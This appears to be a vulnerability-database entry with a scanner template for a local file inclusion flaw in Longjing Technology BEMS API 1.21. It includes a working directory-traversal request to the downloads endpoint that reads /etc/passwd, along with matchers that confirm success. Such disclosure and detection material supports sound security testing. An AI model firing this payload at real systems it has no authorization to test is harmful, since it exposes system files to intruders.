bems-api-lfi: Longjing Technology BEMS API 1.21 - Local File Inclusion

2025-08-01 Longjing Technology BEMS API 1.21 PoC Public

Description

Longjing Technology BEMS API 1.21 is vulnerable to local file inclusion. Input passed through the fileName parameter through the downloads API endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.

PoC

id: bems-api-lfi

info:
  name: Longjing Technology BEMS API 1.21 - Local File Inclusion
  author: gy741
  severity: high
  description: Longjing Technology BEMS API 1.21 is vulnerable to local file inclusion. Input passed through the fileName parameter through the downloads API endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5657.php
    - https://packetstormsecurity.com/files/163702/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-23,CWE-73
  metadata:
    max-request: 1
  tags: lfi,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/downloads?fileName=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210088ee75aee1bd83c8ca63e6da159f3f092d15eb6f64849c244cda1b3b7a52ba27022100f91f1c57a43129fa9868dc6f851099d5b1e48019eaa8748af4cea658729840a1:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities